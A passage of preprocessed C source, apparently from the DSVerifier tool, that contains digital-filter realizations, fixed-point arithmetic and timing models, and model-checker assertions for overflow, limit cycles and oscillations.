det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
void transpose(double a[4][4], double b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
void fxp_transpose(fxp_t a[4][4], fxp_t b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
extern int generic_timer;
extern hardware hw;
double generic_timing_shift_l_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[0];
generic_timer += ((5 * hw.assembly.ldd) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.ld));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < N - 1; i++) {
generic_timer += ((17 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (6 * hw.assembly.mov) + (2 * hw.assembly.adiw) + (5 * hw.assembly.std) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbc)+ (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
z[i] = z[i + 1];
}
z[N - 1] = zIn;
generic_timer += ((12 * hw.assembly.ldd) + (6 * hw.assembly.mov) + (3 * hw.assembly.std) + (2 * hw.assembly.lsl) + (2 * hw.assembly.rol) + (1 * hw.assembly.adc) + (1 * hw.assembly.add) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in)+ (1 * hw.assembly.cli));
generic_timer += ((3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret));
return (zOut);
}
double generic_timing_shift_r_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[N - 1];
generic_timer += ((7 * hw.assembly.ldd) + (2 * hw.assembly.rol) + (2 * hw.assembly.lsl) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.add) + (1 * hw.assembly.adc) + (1 * hw.assembly.ld) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci));
generic_timer += ((2 * hw.assembly.ldd) + (2 * hw.assembly.std) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.rjmp));
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
generic_timer += ((15 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (4 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
}
z[0] = zIn;
generic_timer += ((10 * hw.assembly.ldd) + (5 * hw.assembly.mov) + (3 * hw.assembly.std) + (3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret) + (1 * hw.assembly.ret) + (1 * hw.assembly.cli) + (1 * hw.assembly.in) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw));
return zOut;
}
fxp_t shiftL(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
fxp_t shiftR(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
float shiftLfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
float shiftRfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftRDdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
double shiftRdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftLDouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
void shiftLboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[0];
zfOut = zf[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
zf[i] = zf[i + 1];
}
z[N - 1] = zIn;
zf[N - 1] = zfIn;
}
void shiftRboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[N - 1];
zfOut = zf[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
zf[i] = zf[i - 1];
}
z[0] = zIn;
zf[0] = zfIn;
}
int order(int Na, int Nb) {
return Na > Nb ? Na - 1 : Nb - 1;
}
void fxp_check_limit_cycle(fxp_t y[], int y_size){
fxp_t reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
__DSVERIFIER_assume(found_elements > 0);
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assume(found_elements == desired_elements);
__DSVERIFIER_assert(0);
}
void fxp_check_persistent_limit_cycle(fxp_t * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
fxp_t reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
fxp_t lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void fxp_check_oscillations(fxp_t y[] , int y_size){
__DSVERIFIER_assume((y[0] != y[y_size - 1]) && (y[y_size - 1] != y[y_size - 2]));
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
__DSVERIFIER_assert(!(window_count == window_size));
}
}else{
break;
}
window_timer++;
}
}
}
int fxp_ln(int x) {
int t, y;
y = 0xa65af;
if (x < 0x00008000)
x <<= 16, y -= 0xb1721;
if (x < 0x00800000)
x <<= 8, y -= 0x58b91;
if (x < 0x08000000)
x <<= 4, y -= 0x2c5c8;
if (x < 0x20000000)
x <<= 2, y -= 0x162e4;
if (x < 0x40000000)
x <<= 1, y -= 0x0b172;
t = x + (x >> 1);
if ((t & 0x80000000) == 0)
x = t, y -= 0x067cd;
t = x + (x >> 2);
if ((t & 0x80000000) == 0)
x = t, y -= 0x03920;
t = x + (x >> 3);
if ((t & 0x80000000) == 0)
x = t, y -= 0x01e27;
t = x + (x >> 4);
if ((t & 0x80000000) == 0)
x = t, y -= 0x00f85;
t = x + (x >> 5);
if ((t & 0x80000000) == 0)
x = t, y -= 0x007e1;
t = x + (x >> 6);
if ((t & 0x80000000) == 0)
x = t, y -= 0x003f8;
t = x + (x >> 7);
if ((t & 0x80000000) == 0)
x = t, y -= 0x001fe;
x = 0x80000000 - x;
y -= x >> 15;
return y;
}
double fxp_log10_low(double x) {
int xint = (int) (x * 65536.0 + 0.5);
int lnum = fxp_ln(xint);
int lden = fxp_ln(655360);
return ((double) lnum / (double) lden);
}
double fxp_log10(double x) {
if (x > 32767.0) {
if (x > 1073676289.0) {
x = x / 1073676289.0;
return fxp_log10_low(x) + 9.030873362;
}
x = x / 32767.0;
return fxp_log10_low(x) + 4.515436681;
}
return fxp_log10_low(x);
}
float snrVariance(float s[], float n[], int blksz) {
int i;
double sm = 0, nm = 0, sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sm += s[i];
nm += n[i];
}
sm /= blksz;
nm /= blksz;
for (i = 0; i < blksz; i++) {
sv += (s[i] - sm) * (s[i] - sm);
nv += (n[i] - nm) * (n[i] - nm);
}
if (nv != 0.0f) {
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 373, __extension__ __PRETTY_FUNCTION__); }))
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPower(float s[], float n[], int blksz) {
int i;
double sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sv += s[i] * s[i];
nv += n[i] * n[i];
}
if (nv != 0.0f) {
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 394, __extension__ __PRETTY_FUNCTION__); }))
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPoint(float s[], float n[], int blksz) {
int i;
double ratio = 0, power = 0;
for (i = 0; i < blksz; i++) {
if(n[i] == 0) continue;
ratio = s[i] / n[i];
if(ratio > 150.0f || ratio < -150.0f) continue;
power = ratio * ratio;
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"power >= 1.0f"
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 412, __extension__ __PRETTY_FUNCTION__); }))
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
}
return 9999.9f;
}
unsigned long next = 1;
int rand(void)
{
next = next*1103515245 + 12345;
return (unsigned int)(next/65536) % 32768;
}
void srand(unsigned int seed)
{
next = seed;
}
float iirIIOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 450, __extension__ __PRETTY_FUNCTION__); }))
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return sum;
}
float iirIItOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 477, __extension__ __PRETTY_FUNCTION__); }))
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
double iirIItOutTime_double(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 504, __extension__ __PRETTY_FUNCTION__); }))
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
void iirOutBoth(float yf[], float xf[], float af[], float bf[], float *sumf_ref,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t *sum_ref, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
fxp_t sum = 0;
float sumf = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
af_ptr = &af[1];
yf_ptr = &yf[Na - 1];
bf_ptr = &bf[0];
xf_ptr = &xf[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
sumf += *bf_ptr++ * *xf_ptr--;
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
sumf -= *af_ptr++ * *yf_ptr--;
}
*sum_ref = sum;
*sumf_ref = sumf;
}
fxp_t iirOutFixedL(fxp_t y[], fxp_t x[], fxp_t xin, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
return sum;
}
float iirOutFloatL(float y[], float x[], float xin, float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum += *b_ptr-- * *x_ptr++;
}
x[Nb - 1] = xin;
sum += *b_ptr-- * *x_ptr++;
for (j = 1; j < Na - 1; j++) {
sum -= *a_ptr-- * *y_ptr++;
y[j] = y[j+1];
}
if(Na>1) sum -= *a_ptr-- * *y_ptr++;
y[Na - 1] = sum;
return sum;
}
float iirOutBothL(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[i] = xf[i+1];
sumf += *bf_ptr-- * *xf_ptr++;
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[Nb - 1] = xfin;
sumf += *bf_ptr-- * *xf_ptr++;
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
sumf -= *af_ptr-- * *yf_ptr++;
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
if(Na>1) sumf -= *af_ptr-- * *yf_ptr++;
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
float iirOutBothL2(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i=0, j=1;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[i] = xf[i+1];
sumf += bf[Nb - 1 - i] * xf[i];
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[Nb - 1] = xfin;
sumf += bf[Nb - 1 - i] * xf[i];
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[j] = y[j+1];
sumf -= af[Na - j] * yf[j];
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[Na - 1] = sum;
if(Na>1) sumf -= af[Na - j] * yf[j];
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
# 25 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
extern digital_system ds;
extern hardware hw;
extern int generic_timer;
fxp_t fxp_direct_form_1(fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
}
fxp_verify_overflow_node(sum, "An Overflow Occurred in the node a0");
sum = fxp_div(sum,a[0]);
return fxp_quantize(sum);
}
fxp_t fxp_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr, *w_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] = fxp_sub(w[0], fxp_mult(*a_ptr++, *w_ptr++));
}
w[0] = fxp_add(w[0], x);
w[0] = fxp_div(w[0], a[0]);
fxp_verify_overflow_node(w[0], "An Overflow Occurred in the node b0");
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *w_ptr++));
}
return fxp_quantize(sum);
}
fxp_t fxp_transposed_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr;
fxp_t yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = fxp_add(fxp_mult(*b_ptr++, x), w[0]);
yout = fxp_div(yout, a[0]);
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] = fxp_sub(w[j], fxp_mult(*a_ptr++, yout));
}
if (j < Nb - 1) {
w[j] = fxp_add(w[j], fxp_mult(*b_ptr++, x));
}
}
fxp_verify_overflow_node(w[j], "An Overflow Occurred in the node a0");
return fxp_quantize(yout);
}
double double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb) {
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
double double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
